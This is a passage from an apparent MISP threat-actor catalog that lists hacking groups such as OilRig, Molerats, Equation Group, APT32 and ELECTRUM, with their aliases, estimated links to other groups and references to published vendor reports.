OilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.

The tag is: *misp-galaxy:threat-actor="OilRig"*

OilRig is also known as:

- Twisted Kitten
- Cobalt Gypsy

- Crambus

OilRig has relationships with:

- similar: misp-galaxy:mitre-pre-attack-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"

Table 3759. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html
http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/
http://www.clearskysec.com/oilrig/
https://cert.gov.il/Updates/Alerts/SiteAssets/CERT-IL-ALERT-W-120.pdf
http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/
http://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability%20
https://www.forbes.com/sites/thomasbrewster/2017/02/15/oilrig-iran-hackers-cyberespionage-us-turkey-saudi-arabia/#56749aa2468a
https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/

https://researchcenter.paloaltonetworks.com/2017/12/unit42-introducing-the-adversary-playbook-first-up-oilrig/
https://pan-unit42.github.io/playbook_viewer/
https://raw.githubusercontent.com/pan-unit42/playbook_viewer/master/playbook_json/oilrig.json
https://www.cfr.org/interactive/cyber-operations/oilrig
https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-uses-updated-bondupdater-target-middle-eastern-government/
https://researchcenter.paloaltonetworks.com/2018/11/unit42-analyzing-oilrigs-ops-tempo-testing-weaponization-delivery/

Volatile Cedar

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive .

The tag is: *misp-galaxy:threat-actor="Volatile Cedar"*

Table 3760. Table References

Links
https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf

Malware reusers

Threat Group conducting cyber espionage while re-using tools from other teams; like those of Hacking Team, and vmprotect to obfuscate.

The tag is: *misp-galaxy:threat-actor="Malware reusers"*

Malware reusers is also known as:

- Reuse team
- Dancing Salome

TERBIUM

Microsoft Threat Intelligence identified similarities between this recent attack and previous 2012 attacks against tens of thousands of computers belonging to organizations in the energy sector. Microsoft Threat Intelligence refers to the activity group behind these attacks as TERBIUM, following our internal practice of assigning rogue actors chemical element names.

The tag is: *misp-galaxy:threat-actor="TERBIUM"*

TERBIUM has relationships with:

- similar: misp-galaxy:microsoft-activity-group="TERBIUM" with estimative-language:likelihood-probability="likely"

Table 3761. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/09/windows-10-protection-detection-and-response-against-recent-attacks/

Molerats

In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well. and as discovered later, even the U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.”

The tag is: *misp-galaxy:threat-actor="Molerats"*

Molerats is also known as:

- Gaza Hackers Team
- Gaza cybergang
- Operation Molerats
- Extreme Jackal
- Moonlight

Molerats has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Molerats - G0021" with estimative-language:likelihood-probability="likely"

Table 3762. Table References

Links
https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html
http://blog.vectranetworks.com/blog/moonlight-middle-east-targeted-attacks

PROMETHIUM

PROMETHIUM is an activity group that has been active as early as 2012. The group primarily uses Truvasys, a first-stage malware that has been in circulation for several years. Truvasys has been involved in several attack campaigns, where it has masqueraded as one of server common computer utilities, including WinUtils, TrueCrypt, WinRAR, or SanDisk. In each of the campaigns, Truvasys malware evolved with additional features—this shows a close relationship between the activity groups behind the campaigns and the developers of the malware.

The tag is: *misp-galaxy:threat-actor="PROMETHIUM"*

PROMETHIUM is also known as:

- StrongPity

PROMETHIUM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="PROMETHIUM - G0056" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="PROMETHIUM" with estimative-language:likelihood-probability="likely"

Table 3763. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.virusbulletin.com/conference/vb2016/abstracts/last-minute-paper-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users

NEODYMIUM

NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor's characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.

The tag is: *misp-galaxy:threat-actor="NEODYMIUM"*

NEODYMIUM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="NEODYMIUM - G0055" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="NEODYMIUM" with estimative-language:likelihood-probability="likely"

Table 3764. Table References

Links
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

Packrat

A threat group that has been active for at least seven years has used malware, phishing and disinformation tactics to target activists, journalists, politicians and public figures in various Latin

American countries. The threat actor, dubbed Packrat based on its preference for remote access Trojans (RATs) and because it has used the same infrastructure for several years, has been analyzed by Citizen Lab researchers John Scott-Railton, Morgan Marquis-Boire, and Claudio Guarnieri, and Cyphort researcher Marion Marschalek, best known for her extensive analysis of state-sponsored threats.

The tag is: *misp-galaxy:threat-actor="Packrat"*

Table 3765. Table References

Links
https://citizenlab.org/2015/12/packrat-report/

Cadelle

Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.

The tag is: *misp-galaxy:threat-actor="Cadelle"*

Table 3766. Table References

Links
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

Chafer

Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014, however, it’s likely that activity began well before this date. Command-and-control (C&C) registrant information points to activity possibly as early as 2011, while executable compilation times suggest early 2012. Their attacks continue to the present day. Symantec estimates that each team is made up of between 5 and 10 people.

The tag is: *misp-galaxy:threat-actor="Chafer"*

Table 3767. Table References

Links
https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets

PassCV

The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates. Snorre Fagerland of Blue Coat Systems first coined the term PassCV in a blog post. His post provides a good introduction to the group and covers some of the older infrastructure, stolen code-signing certificate reuse, and other connections associated with the PassCV malware. There are several clues alluding to the possibility that multiple groups may be utilizing the same stolen signing certificates, but at this time SPEAR believes the current attacks are more likely being perpetrated by a single group employing multiple publicly available Remote Administration Tools (RATs). The PassCV group has been operating with continued success and has already started to expand their malware repertoire into different off-the-shelf RATs and custom code. SPEAR identified eighteen previously undisclosed stolen Authenticode certificates. These certificates were originally issued to companies and individuals scattered across China, Taiwan, Korea, Europe, the United States and Russia. In this post we expand the usage of the term ‘PassCV’ to encompass the malware mentioned in the Blue Coat Systems report, as well as the APT group behind the larger C2 infrastructure and stolen Authenticode certificates. We’d like to share some of our findings as they pertain to the stolen certificates, command and control infrastructure, and some of the newer custom RATs they’ve begun development on.

The tag is: *misp-galaxy:threat-actor="PassCV"*

Table 3768. Table References

Links
https://blog.cylance.com/digitally-signed-malware-targeting-gaming-companies

Sath-ı Müdafaa

A Turkish hacking group, Sath-ı Müdafaa, is encouraging individuals to join its DDoS-for-Points platform that features points and prizes for carrying out distributed denial-of-service (DDoS) attacks against a list of predetermined targets. Their DDoS tool also contains a backdoor to hack the hackers. So the overarching motivation and allegiance of the group is not entirely clear.

The tag is: *misp-galaxy:threat-actor="Sath-ı Müdafaa"*

Aslan Neferler Tim

Turkish nationalist hacktivist group that has been active for roughly one year. According to Domaintools, the group’s site has been registered since December 2015, with an active Twitter account since January 2016. The group carries out distributed denial-of-service (DDoS) attacks and defacements against the sites of news organizations and governments perceived to be critical of Turkey’s policies or leadership, and purports to act in defense of Islam

The tag is: *misp-galaxy:threat-actor="Aslan Neferler Tim"*

Aslan Neferler Tim is also known as:

- Lion Soldiers Team
- Phantom Turk

Ayyıldız Tim

Ayyıldız (Crescent and Star) Tim is a nationalist hacking group founded in 2002. It performs defacements and DDoS attacks against the websites of governments that it considers to be repressing Muslim minorities or engaged in Islamophobic policies.

The tag is: *misp-galaxy:threat-actor="Ayyıldız Tim"*

Ayyıldız Tim is also known as:

- Crescent and Star

TurkHackTeam

Founded in 2004, Turkhackteam is one of Turkey’s oldest and most high-profile hacking collectives. According to a list compiled on Turkhackteam’s forum, the group has carried out almost 30 highly publicized hacking campaigns targeting foreign government and commercial websites, including websites of international corporations.

The tag is: *misp-galaxy:threat-actor="TurkHackTeam"*

TurkHackTeam is also known as:

- Turk Hack Team

Equation Group

The Equation Group is a highly sophisticated threat actor described by its discoverers at Kaspersky Labs as one of the most sophisticated cyber attack groups in the world, operating alongside but always from a position of superiority with the creators of Stuxnet and Flame

The tag is: *misp-galaxy:threat-actor="Equation Group"*

Equation Group is also known as:

- Tilded Team
- Lamberts
- EQGRP

Equation Group has relationships with:

- similar: misp-galaxy:threat-actor="Longhorn" with estimative-language:likelihood-probability="likely"

Table 3769. Table References

Links
https://en.wikipedia.org/wiki/Equation_Group
https://www.cfr.org/interactive/cyber-operations/equation-group

Greenbug

Greenbug was discovered targeting a range of organizations in the Middle East including companies in the aviation, energy, government, investment, and education sectors.

The tag is: *misp-galaxy:threat-actor="Greenbug"*

Greenbug has relationships with:

- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"

Table 3770. Table References

Links
https://www.symantec.com/connect/blogs/greenbug-cyberespionage-group-targeting-middle-east-possible-links-shamoon
https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/

Gamaredon Group

Unit 42 threat researchers have recently observed a threat group distributing new, custom developed malware. We have labelled this threat group the Gamaredon Group and our research shows that the Gamaredon Group has been active since at least 2013. In the past, the Gamaredon Group has relied heavily on off-the-shelf tools. Our new research shows the Gamaredon Group have made a shift to custom-developed malware. We believe this shift indicates the Gamaredon Group have improved their technical capabilities.

The tag is: *misp-galaxy:threat-actor="Gamaredon Group"*

Gamaredon Group has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Gamaredon Group - G0047" with estimative-language:likelihood-probability="likely"

Table 3771. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution

Hammer Panda

Hammer Panda is a group of suspected Chinese origin targeting organisations in Russia.

The tag is: *misp-galaxy:threat-actor="Hammer Panda"*

Hammer Panda is also known as:

- Zhenbao
- TEMP.Zhenbao

Table 3772. Table References

Links
http://www.darkreading.com/endpoint/chinese-cyberspies-pivot-to-russia-in-wake-of-obama-xi-pact/d/d-id/1324242

Infy

Infy is a group of suspected Iranian origin.

The tag is: *misp-galaxy:threat-actor="Infy"*

Infy is also known as:

- Operation Mermaid
- Prince of Persia

Table 3773. Table References

Links
https://www.blackhat.com/docs/us-16/materials/us-16-Guarnieri-Iran-And-The-Soft-War-For-Internet-Dominance-wp.pdf
https://iranthreats.github.io/
http://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/
https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/
https://www.cfr.org/interactive/cyber-operations/prince-persia

Sima

Sima is a group of suspected Iranian origin targeting Iranians in diaspora.

The tag is: *misp-galaxy:threat-actor="Sima"*

Table 3774. Table References

Links
https://www.blackhat.com/docs/us-16/materials/us-16-Guarnieri-Iran-And-The-Soft-War-For-Internet-Dominance-wp.pdf
https://iranthreats.github.io/

Blue Termite

Blue Termite is a group of suspected Chinese origin active in Japan.

The tag is: *misp-galaxy:threat-actor="Blue Termite"*

Blue Termite is also known as:

- Cloudy Omega
- Emdivi

Table 3775. Table References

Links
https://securelist.com/blog/research/71876/new-activity-of-the-blue-termite-apt/
http://www.kaspersky.com/about/news/virus/2015/Blue-Termite-A-Sophisticated-Cyber-Espionage-Campaign-is-After-High-Profile-Japanese-Targets
https://www.cfr.org/interactive/cyber-operations/blue-termite

Groundbait

Groundbait is a group targeting anti-government separatists in the self-declared Donetsk and Luhansk People’s Republics.

The tag is: *misp-galaxy:threat-actor="Groundbait"*

Table 3776. Table References

Links
http://www.welivesecurity.com/2016/05/18/groundbait

Longhorn

Longhorn has been active since at least 2011. It has used a range of back door Trojans in addition to zero-day vulnerabilities to compromise its targets. Longhorn has infiltrated governments and internationally operating organizations, in addition to targets in the financial, telecoms, energy, aerospace, information technology, education, and natural resources sectors. All of the organizations targeted would be of interest to a nation-state attacker. Longhorn has infected 40 targets in at least 16 countries across the Middle East, Europe, Asia, and Africa. On one occasion a computer in the United States was compromised but, following infection, an uninstaller was launched within hours, which may indicate this victim was infected unintentionally. According to cfr, this threat actor compromises governments, international organizations, academic institutions, and financial, telecommunications, energy, aerospace, information technology, and natural resource industries for espionage purposes. Some of the tools used by this threat actor were released by Wikileaks under the name "Vault 7."

The tag is: *misp-galaxy:threat-actor="Longhorn"*

Longhorn is also known as:

- Lamberts
- the Lamberts

Longhorn has relationships with:

- similar: misp-galaxy:threat-actor="Equation Group" with estimative-language:likelihood-probability="likely"

Table 3777. Table References

Links
https://www.symantec.com/connect/blogs/longhorn-tools-used-cyberespionage-group-linked-vault-7
https://www.bleepingcomputer.com/news/security/longhorn-cyber-espionage-group-is-actually-the-cia/
https://www.cfr.org/interactive/cyber-operations/longhorn

Callisto

The Callisto Group is an advanced threat actor whose known targets include military personnel, government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.

The tag is: *misp-galaxy:threat-actor="Callisto"*

Table 3778. Table References

Links
https://www.f-secure.com/documents/996508/1030745/callisto-group

APT32

Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into private sector companies across multiple industries and have also targeted foreign governments, dissidents, and journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.

The tag is: *misp-galaxy:threat-actor="APT32"*

APT32 is also known as:

- OceanLotus Group
- Ocean Lotus
- Cobalt Kitty

- APT-C-00
- SeaLotus
- APT-32
- APT 32

APT32 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT32 - G0050" with estimative-language:likelihood-probability="likely"

Table 3779. Table References

Links
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://www.cybereason.com/labs-operation-cobalt-kitty-a-large-scale-apt-in-asia-carried-out-by-the-oceanlotus-group/
https://www.scmagazineuk.com/ocean-lotus-groupapt-32-identified-as-vietnamese-apt-group/article/663565/
https://www.brighttalk.com/webcast/10703/261205
https://github.com/eset/malware-research/tree/master/oceanlotus
https://www.cfr.org/interactive/cyber-operations/ocean-lotus

SilverTerrier

As these tools rise and fall in popularity (and more importantly, as detection rates by antivirus vendors improve), SilverTerrier actors have consistently adopted new malware families and shifted to the latest packing tools available.

The tag is: *misp-galaxy:threat-actor="SilverTerrier"*

Table 3780. Table References

Links
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/silverterrier-next-evolution-in-nigerian-cybercrime.pdf

WildNeutron

A corporate espionage group has compromised a string of major corporations over the past three years in order to steal confidential information and intellectual property. The gang, which Symantec calls Butterfly, is not-state sponsored, rather financially motivated. It has attacked multi-billion dollar companies operating in the internet, IT software, pharmaceutical, and commodities sectors. Twitter, Facebook, Apple, and Microsoft are among the companies who have publicly acknowledged attacks.

The tag is: *misp-galaxy:threat-actor="WildNeutron"*

WildNeutron is also known as:

- Butterfly
- Morpho
- Sphinx Moth

Table 3781. Table References

Links
https://www.symantec.com/connect/blogs/butterfly-profiting-high-level-corporate-attacks
https://securelist.com/71275/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/
https://research.kudelskisecurity.com/2015/11/05/sphinx-moth-expanding-our-knowledge-of-the-wild-neutron-morpho-apt/

PLATINUM

PLATINUM has been targeting its victims since at least as early as 2009, and may have been active for several years prior. Its activities are distinctly different not only from those typically seen in untargeted attacks, but from many targeted attacks as well. A large share of targeted attacks can be characterized as opportunistic: the activity group changes its target profiles and attack geographies based on geopolitical seasons, and may attack institutions all over the world. Like many such groups, PLATINUM seeks to steal sensitive intellectual property related to government interests, but its range of preferred targets is consistently limited to specific governmental organizations, defense institutes, intelligence agencies, diplomatic institutions, and telecommunication providers in South and Southeast Asia. The group's persistent use of spear phishing tactics (phishing attempts aimed at specific individuals) and access to previously undiscovered zero-day exploits have made it a highly resilient threat.

The tag is: *misp-galaxy:threat-actor="PLATINUM"*

PLATINUM is also known as:

- TwoForOne

PLATINUM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="PLATINUM - G0068" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:microsoft-activity-group="PLATINUM" with estimative-language:likelihood-probability="likely"

Table 3782. Table References

Links
http://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

https://blogs.technet.microsoft.com/mmpc/2016/04/26/digging-deep-for-platinum/

ELECTRUM

Adversaries abusing ICS (based on Dragos Inc adversary list). Dragos, Inc. tracks the adversary group behind CRASHOVERRIDE as ELECTRUM and assesses with high confidence through confidential sources that ELECTRUM has direct ties to the Sandworm team. Our intelligence ICS WorldView customers have received a comprehensive report and this industry report will not get into sensitive technical details but instead focus on information needed for defense and impact awareness.

The tag is: *misp-galaxy:threat-actor="ELECTRUM"*

ELECTRUM is also known as:

- Sandworm

ELECTRUM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Sandworm Team - G0034" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="TeleBots" with estimative-language:likelihood-probability="likely"

Table 3783. Table References

Links
https://dragos.com/blog/crashoverride/CrashOverride-01.pdf
https://www.welivesecurity.com/wp-content/uploads/2017/06/Win32_Industroyer.pdf
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://dragos.com/adversaries.html

RASPITE

Dragos has identified a new activity group targeting access operations in the electric utility sector. We call this activity group RASPITE. Analysis of RASPITE tactics, techniques, and procedures (TTPs) indicate the group has been active in some form since early- to mid-2017. RASPITE targeting includes entities in the US, Middle East, Europe, and East Asia. Operations against electric utility organizations appear limited to the US at this time. RASPITE leverages strategic website compromise to gain initial access to target networks. RASPITE uses the same methodology as DYMALLOY and ALLANITE in embedding a link to a resource to prompt an SMB connection, from which it harvests Windows credentials. The group then deploys install scripts for a malicious service to beacon back to RASPITE-controlled infrastructure, allowing the adversary to remotely access the victim machine.

The tag is: *misp-galaxy:threat-actor="RASPITE"*

RASPITE is also known as:

- LeafMiner

Table 3784. Table References

Links
https://dragos.com/blog/20180802Raspite.html
https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east

FIN8

FIN8 is a financially motivated group targeting the retail, hospitality and entertainment industries. The actor had previously conducted several tailored spearphishing campaigns using the downloader PUNCHBUGGY and POS malware PUNCHTRACK.

The tag is: *misp-galaxy:threat-actor="FIN8"*

FIN8 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="FIN8 - G0061" with estimative-language:likelihood-probability="likely"

Table 3785. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html
https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp.pdf
http://files.shareholder.com/downloads/AMDA-254Q5F/0x0x938351/665BA6A3-9573-486C-B96F-80FA35759E8C/FEYE_rpt-mtrends-2017_FINAL2.pdf

El Machete

El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here. We’ve found that this group has continued to operate successfully, predominantly in Latin America, since 2014. All attackers simply moved to new C2 infrastructure, based largely around dynamic DNS domains, in addition to making minimal changes to the malware in order to evade signature-based detection.

The tag is: *misp-galaxy:threat-actor="El Machete"*

El Machete is also known as:

- Machete

Table 3786. Table References

Links
https://securelist.com/blog/research/66108/el-machete/
https://www.cylance.com/en_us/blog/el-machete-malware-attacks-cut-through-latam.html
https://www.cfr.org/interactive/cyber-operations/machete

Cobalt

A criminal group dubbed Cobalt is behind synchronized ATM heists that saw machines across Europe, CIS countries (including Russia), and Malaysia being raided simultaneously, in the span of a few hours. The group has been active since June 2016, and their latest attacks happened in July and August.

The tag is: *misp-galaxy:threat-actor="Cobalt"*

Cobalt is also known as:

- Cobalt group
- Cobalt gang
- GOLD KINGSWOOD

Table 3787. Table References

Links
https://www.helpnetsecurity.com/2016/11/22/cobalt-hackers-synchronized-atm-heists/
https://www.bleepingcomputer.com/news/security/cobalt-hacking-group-tests-banks-in-russia-and-romania/
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish

TA459

The tag is: *misp-galaxy:threat-actor="TA459"*

TA459 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="TA459 - G0062" with estimative-language:likelihood-probability="likely"

Table 3788. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts#.WS3IBVFV4no.twitter

Cyber Berkut

The tag is: *misp-galaxy:threat-actor="Cyber Berkut"*

Table 3789. Table References

Links
https://www.threatconnect.com/blog/russia-hacks-bellingcat-mh17-investigation/.V-wnrubaeEU.twitter

Tonto Team

The tag is: *misp-galaxy:threat-actor="Tonto Team"*

Table 3790. Table References

Links
https://www.wsj.com/articles/chinas-secret-weapon-in-south-korea-missile-fight-hackers-1492766403?emailToken=JRrydPtyYnqTg9EyZsw31FwuZ7JNEOKCXF7LaW/HM1DLsjnUp6e6wLgph560pnmiTAN/5ssf7moyADPQj2p2Gc+YkL1yi0zhIiUM9M6aj1HTYQ==
https://arstechnica.com/information-technology/2017/04/researchers-claim-china-trying-to-hack-south-korea-missile-defense-efforts/

Danti

The tag is: *misp-galaxy:threat-actor="Danti"*

Table 3791. Table References

Links
https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/

APT5

The tag is: *misp-galaxy:threat-actor="APT5"*

Table 3792. Table References

Links
https://www.fireeye.com/current-threats/apt-groups.html

APT 22

The tag is: *misp-galaxy:threat-actor="APT 22"*

APT 22 is also known as:

- APT22

Table 3793. Table References

Links
http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild

Tick

This threat actor targets organizations in the critical infrastructure, heavy industry, manufacturing, and international relations sectors for espionage purposes.

The tag is: *misp-galaxy:threat-actor="Tick"*

Tick is also known as:

- Bronze Butler
- RedBaldKnight

Tick has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="BRONZE BUTLER - G0060" with estimative-language:likelihood-probability="likely"

Table 3794. Table References

Links
https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan
https://www.secureworks.jp/resources/rp-bronze-butler
https://researchcenter.paloaltonetworks.com/2017/07/unit42-tick-group-continues-attacks/
http://blog.jpcert.or.jp/2017/08/detecting-datper-malware-from-proxy-logs.html
https://www.cfr.org/interactive/cyber-operations/bronze-butler

APT 26

The tag is: *misp-galaxy:threat-actor="APT 26"*

APT 26 is also known as:

- APT26
- Hippo Team
- JerseyMikes

APT 26 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="Turla - G0010" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Turla Group" with estimative-language:likelihood-

probability="likely"

Sabre Panda

The tag is: *misp-galaxy:threat-actor="Sabre Panda"*

Table 3795. Table References

Links
http://go.crowdstrike.com/rs/281-OBQ-266/images/ReportGlobalThreatIntelligence.pdf

Big Panda

The tag is: *misp-galaxy:threat-actor="Big Panda"*

Table 3796. Table References

Links
http://www.darkreading.com/attacks-and-breaches/crowdstrike-falcon-traces-attacks-back-to-hackers/d/d-id/1110402?

Poisonous Panda

The tag is: *misp-galaxy:threat-actor="Poisonous Panda"*

Table 3797. Table References

Links
http://files.sans.org/summit/Threat_Hunting_Incident_Response_Summit_2016/PDFs/Detecting-and-Responding-to-Pandas-and-Bears-Christopher-Scott-CrowdStrike-and-Wendi-Whitmore-IBM.pdf

Ghost Jackal

The tag is: *misp-galaxy:threat-actor="Ghost Jackal"*

Table 3798. Table References

Links
https://www.rsaconference.com/writable/presentations/file_upload/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries_final.pdf

TEMP.Hermit

The tag is: *misp-galaxy:threat-actor="TEMP.Hermit"*

Table 3799. Table References

Links

https://www.isightpartners.com/2016/02/threatscape-media-highlights-update-week-of-february-17th/

Mofang

The tag is: *misp-galaxy:threat-actor="Mofang"*

Mofang is also known as:

- Superman

Table 3800. Table References

Links
https://blog.fox-it.com/2016/06/15/mofang-a-politically-motivated-information-stealing-adversary/
https://www.threatconnect.com/china-superman-apt/
https://www.cfr.org/interactive/cyber-operations/mofang

CopyKittens

The tag is: *misp-galaxy:threat-actor="CopyKittens"*

CopyKittens is also known as:

- Slayer Kitten

CopyKittens has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="CopyKittens - G0052" with estimative-language:likelihood-probability="likely"

Table 3801. Table References

Links
https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf
https://blog.domaintools.com/2017/03/hunt-case-study-hunting-campaign-indicators-on-privacy-protected-attack-infrastructure/
http://www.clearskysec.com/copykitten-jpost/
http://www.clearskysec.com/tulip/
https://www.cfr.org/interactive/cyber-operations/copykittens

EvilPost

The tag is: *misp-galaxy:threat-actor="EvilPost"*

Table 3802. Table References

Links

https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html

SVCMONDR

The referenced link links this group to Temper Panda

The tag is: *misp-galaxy:threat-actor="SVCMONDR"*

Table 3803. Table References

Links
https://securelist.com/analysis/publications/74828/cve-2015-2545-overview-of-current-threats/

Test Panda

The tag is: *misp-galaxy:threat-actor="Test Panda"*

Table 3804. Table References

Links
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem

Madi

The tag is: *misp-galaxy:threat-actor="Madi"*

Table 3805. Table References

Links
https://securelist.com/blog/incidents/33693/the-madi-campaign-part-i-5/
https://securelist.com/blog/incidents/33701/the-madi-campaign-part-ii-53/
https://www.cfr.org/interactive/cyber-operations/madi

Electric Panda

The tag is: *misp-galaxy:threat-actor="Electric Panda"*

Table 3806. Table References

Links
http://www.slideshare.net/CrowdStrike/crowd-casts-monthly-you-have-an-adversary-problem

Maverick Panda

The tag is: *misp-galaxy:threat-actor="Maverick Panda"*

Maverick Panda is also known as:

- PLA Navy
- Sykipot

Maverick Panda has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-intrusion-set="APT18 - G0026" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Wekby" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Samurai Panda" with estimative-language:likelihood-probability="likely"

Table 3807. Table References

Links
https://www.alienvault.com/open-threat-exchange/blog/new-sykipot-developments
http://blog.trendmicro.com/trendlabs-security-intelligence/sykipot-now-targeting-us-civil-aviation-sector-information/
https://www.sans.org/reading-room/whitepapers/malicious/detailed-analysis-sykipot-smartcard-proxy-variant-33919
https://www.cfr.org/interactive/cyber-operations/sykipot

Kimsuki

This threat actor targets South Korean think tanks, industry, nuclear power operators, and the Ministry of Unification for espionage purposes.

